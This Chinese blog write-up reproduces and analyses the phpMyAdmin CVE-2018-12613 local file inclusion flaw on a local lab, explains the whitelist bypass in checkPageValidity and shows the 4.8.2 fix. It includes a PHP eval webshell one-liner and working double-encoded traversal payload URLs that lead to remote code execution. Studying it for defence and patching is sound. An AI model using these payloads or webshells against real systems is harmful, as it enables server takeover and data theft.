CVE-2018-12613 本地文件包含漏洞复现+漏洞分析
前言
phpMyAdmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等。 CVE-2018-12613,这是一个在phpMyAdmin4.8.x(4.8.2之前)上发现的文件包含漏洞,攻击者可以利用该漏洞在后台进行任意的文件包含。也就也为着攻击者可以通过webshell直接拿下搭建了该服务的站点。
漏洞影响版本
- Phpmyadmin Phpmyadmin 4.8.0
- Phpmyadmin Phpmyadmin 4.8.0.1
- Phpmyadmin Phpmyadmin 4.8.1
本地文件包含
LFI(本地文件包含),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
远程代码执行
RCE(远程代码执行),远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
漏洞复现
1、下载phpmyadmin 漏洞版本,放在本地phpstudy网站根目录
利用数据库创建shell
1、登录phpmyadmin,在demo
数据库新建一个数据表,字段为一句话木马
<?php @eval($_GET['s']);?>
2、查询生成文件的绝对路径
show variables like '%datadir%';
3、在D:\phpstudy_pro\Extensions\MySQL5.7.26\data\
查看生成的.frm
文件,打开文件,发现shell已经成功写入
4、利用本地文件包含去包含/bin/mysql/data/test/shell.frm
文件即可RCE,playload如下(要根据自己目录选择跳跃几级,我的是四级目录),可以看到RCE执行成功
http://localhost:84/phpmyadmin/index.php?target=db_sql.php%253f/../../../../Extensions/MySQL5.7.26/data/demo/shell.frm&s=phpinfo();
利用session文件创建shell
1、执行sql语句,查看session,主要看cookie中phpmyadmin
中的值
<?php @eval($_GET['s']);?>
2、在tmp
中搜索刚刚查到的文件26rsjd2sd6ih3n8iluuepgorun515r9j
,打开后发现文件中有<?php @eval($_GET['s']);?>
3、利用本地文件包含去包含Extensions\tmp\tmp\sess_kir14uhqhshe8smr1njvphr5slmso84o
文件即可RCE,playload如下(要根据自己目录选择跳跃几级,我的是四级目录),可以看到RCE执行成功
http://localhost:84/phpmyadmin/index.php?target=db_sql.php%253f/../../../../Extensions/tmp/tmp/sess_kir14uhqhshe8smr1njvphr5slmso84o&s=phpinfo();
漏洞分析
代码分析
1、本次代码审计借助Seay工具,导入源码后,全局搜索include
函数,发现代码中存在大量的include。但是大部分的include都是类似于下面这种。
2、将包含的文件名或者路径写死在程序中,也就是说用户无法控制包含的文件也就不存在文件包含漏洞。我们主要是寻找用户可以控制文件路径的include函数。本文讨论的漏洞出现index.php文件的在下面的代码中
3、打开phpstorm将项目导入,找到index.php
第55行开始分析,接着仔细查看该段代码出现的文件内容,查看如何能够触发文件包含,也就是说如何能够让程序执行到存在文件包含漏洞的代码。从目标代码往前查看,寻找die、exit这些能够导致退出脚本的语句。
4、可以看到我们要执行的目标代码本身位于一个if判断中,该if判断中存在五个条件,这5个条件要全部满足才会执行目标代码
条件编号 | 条件内容 |
---|---|
条件1 | ! empty($_REQUEST['target'] |
条件2 | is_string($_REQUEST['target'] |
条件3 | ! preg_match('/^index/', $_REQUEST['target']) |
条件4 | ! in_array($_REQUEST['target'], $target_blacklist) |
条件5 | Core::checkPageValidity($_REQUEST['target'] |
5、针对以上条件进行解读
1)、条件1:请求的参数不能为空
2)、条件2:请求的参数必须要是字符串
3)、条件3:请求的参数不能以index开头
4)、条件4:请求的参数不能在target_blacklist数组中,这个数组等会再说
5)、条件5:请求的参数被传递到Core类下的checkPageValidity函数中,等会再说
6、前三个条件已经搞清楚,现在看下后面两个条件,一个target_blacklist
数组和checkPageValidity
函数。
7、先看下target_blacklist数组,根据代码分析,该数组是一个黑名单,也就是说请求的target参数不能在黑名单中
8、更新一下条件解读
1)、条件1:请求的target参数不能为空;
2)、条件2:请求的target参数必须要是字符串;
3)、条件3:请求的target参数不能以index开头;
4)、条件4:请求的target参数不能是import.php或export.php;
5)、条件5:请求的target参数被传递到Core类下的checkPageValidity函数中,等会再说;
9、研究checkPageValidity函数,该函数返回true
时上面5个条件才会满足,目标代码才会执行,怎么样才能返回true尼?checkPageValidity函数中有5个if判断,我们深入分析分析
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
条件编号 | 条件内容 | ||
---|---|---|---|
条件1 | empty($whitelist) | ||
条件2 | ! isset($page) \ | \ | !is_string($page) |
条件3 | in_array($page, $whitelist) | ||
条件4 | in_array($_page, $whitelist) | ||
条件5 | in_array($_page, $whitelist) |
10、针对checkPageValidity函数的条件解读
1)、条件1:这个和我们请求的target参数无关,变量whitelist默认就是空数组,且将全局白名单参数goto_whitelist赋值给whitelist;
2)、条件2:请求参数target不为空且类型要是字符串;
3)、条件3:检测taget字段的值是否在白名单中,如果在白名单中该函数会返回true;
4)、条件4:检测taget字段的值是否在白名单中,如果在白名单中该函数会返回true;
5)、条件5:检测taget字段的值是否在白名单中,如果在白名单中该函数会返回true;
11、但是关键点在于如果不在白名单中该函数并没有直接返回false,而是对target字段的值进行了处理然后再进行匹配。
12、判断3是直接判断target字段的值是否在白名单中,如果不在白名单中会执行下面的代码
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
13、mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()
14、mb_strpos函数查找字符串在另一个字符串中首次出现的位置
15、该段代码会截取传参之前的内容,比如我们传入的内容是index.php?id=1,经过该函数处理后会变成index.php。然后将截取到的文件名与白名单进行匹配,也就是判断4执行的内容。如果匹配成功返回true,匹配失败接着对target的值进行处理,会执行下面的代码。
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
16、该段代码会对target的值进行URL解码,然后对解码后的内容截取?传参之前的内容。在将截取到的内容与白名单进行匹配,也就是执行判断5的内容,这是最后一个判断。如果该判断成立会返回true。所有的判断都不成立就会返回false。
构造payload
设想一:target=db_sql.php?/../
1、因为我们要测试文件包含漏洞,就要跳跃目录进行文件包含
2、如果我们想成功执行include $_REQUEST['target'];
,必须要使target传参时满足下面5个条件
号 | 条件内容 |
---|---|
条件1 | ! empty($_REQUEST['target'] |
条件2 | is_string($_REQUEST['target'] |
条件3 | ! preg_match('/^index/', $_REQUEST['target']) |
条件4 | ! in_array($_REQUEST['target'], $target_blacklist) |
条件5 | Core::checkPageValidity($_REQUEST['target'] |
3、前面4个条件我们都可以满足,条件5又要满足5个条件,如下
条件编号 | 条件内容 | ||
---|---|---|---|
条件1 | empty($whitelist) | ||
条件2 | ! isset($page) \ | \ | !is_string($page) |
条件3 | in_array($page, $whitelist) | ||
条件4 | in_array($_page, $whitelist) | ||
条件5 | in_array($_page, $whitelist) |
4、前两条判断可以很顺利的通过,在第三条判断中不存在操作空间,因为他会直接将我们传参的内容与白名单进行匹配。在第四条判断中,我们可以构想如下的payload
target=db_sql.php?/../
5、该payload表示的路径是当前工作目录,如果该payload可以在include中成功的被包含,那么我们就可以以当前目录为依据完成文件包含。其中db_sql.php是白名单中的文件,显然该target的值可以顺利的通过前4个条件
! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
6、在执行第5个条件的时候
&& Core::checkPageValidity($_REQUEST['target'])
7、进入checkPageValidity函数函数中执行5个判断
if(empty($whitelist))
if(!isset($page)||!is_string($page))
if(in_array($page, $whitelist))
if(in_array($page, $whitelist))
if(in_array($page, $whitelist))
8、判断1与我们输入的内容无关,判断2显然可以顺利通过
if(empty($whitelist))
if(!isset($page)||!is_string($page))
9、在执行判断3与白名单进行匹配的时候会匹配失败,然后执行判断4,判断4会去除?之后的内容,target的值从db_sql.php?/…/变成了db_sql.php,与白名单匹配成功了,直接返回true,也就让五个条件都成立
! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
10、为了测试,我们在phpmyadmin目录下新建1.php
,内容如下
<?php phpinfo();?>
11、然后执行我们的目标代码,执行失败,并没有解析php代码
http://localhost:84/index.php?target=db_sql.php?/../1.php
12、在执行checkPageValidity函数的时候并没有修改target的值,在对target的值进行处理后再匹配时,使用page变量保存的处理的后的值,而没有直接修改target的值,所target的内容依据是我嗯输入的db_sql.php?/../。但是include所使用的文件的路径中不可以包含特殊字符,而我们使用了?
,所以依旧无法完成文件包含。通过打断点debug模式调试我们可以发现
设想二:target=db_sql.php%253f/../
1、虽然设想一没有完成文件包含。但是我们可以利用判断5中会进行URL解码来进行文件的包含。当我们使用GET进行传参的时候浏览器会对GET传递的数据进行URL编码,数据到达服务器后会进行URL解码。比如我们使用GET传递一个单引号(’),浏览器会将其编码为%27,然后传递给服务器端,服务器接收到数据后会进行URL解码,获得传递的值(’)。但是如果我们手动在数据包中的将%27修改为%2527,那么服务器端接收到%2527的时候会进行一个URL解码,解码后变成了%27。而站点的代码中又调用了urldecode函数对传参的内容进行URL解码,在第二次解码后,我们传递的内容变成了单引号。也就是说客户端发送来的数据服务端进行了两次URL解码。
2、而我们这里的判断5中就调用urldecode函数。因此我们可以尝试构造下面的payload,将?
进行url两次编码
http://localhost:84/index.php?target=db_sql.php%253f/../1.php
3、通过debug模式+打断点的形式进一步分析验证,首先服务器接收到该传参后进行一次URL解码,变成target=db_sql.php%3f/../
4、然后进入checkPageValidity函数,在执行判断3、4的时候均匹配失败(判断3匹配原声target的值,判断4匹配去掉传参后的target的值),于是执行判断5,在条件5中会对该值进行URL解码,变成了target=db_sql.php?/../
5、能够成功的匹配白名单。因此条件5也成立,我们可以看到条件5进入为true的代码块
6、因为5个条件都可以满足,所以最终可以执行目标代码
修复建议
1、升级版本
4.8.2版本比较4.8.1版本
1、4.8.2版本已经修复,而4.8.1版本是有漏洞的版本
2、我们分析一下两个版本的代码,看看有什么区别
3、对比index.php部分代码,发现在checkPageValidity函数多传递两个参数[]
和true
4、对比checkPageValidity函数代码,发现4.8.2版本代码只多几行
5、4.8.2版本参数多一个默认参数$include=false
,函数体中新增代码
if ($include) {
return false;
}
6、因为Core::checkPageValidity($_REQUEST['target'], [], true)
最后传值是true,当true传递checkPageValidity函数时,$include会被赋值为true,因为前面的true是直接在代码中写死的,函数体中有if ($include)
一直会成立,那么checkPageValidity函数返回值也一直是false,不会执行到include $_REQUEST['target'];
代码块,也就无法导致本地文件包含漏洞
7、官方的修复方案就是不满足5个条件,也就无法执行include代码块。访问payload,确实无法触发本地文件包含漏洞
- 点赞
- 收藏
- 关注作者
评论(0)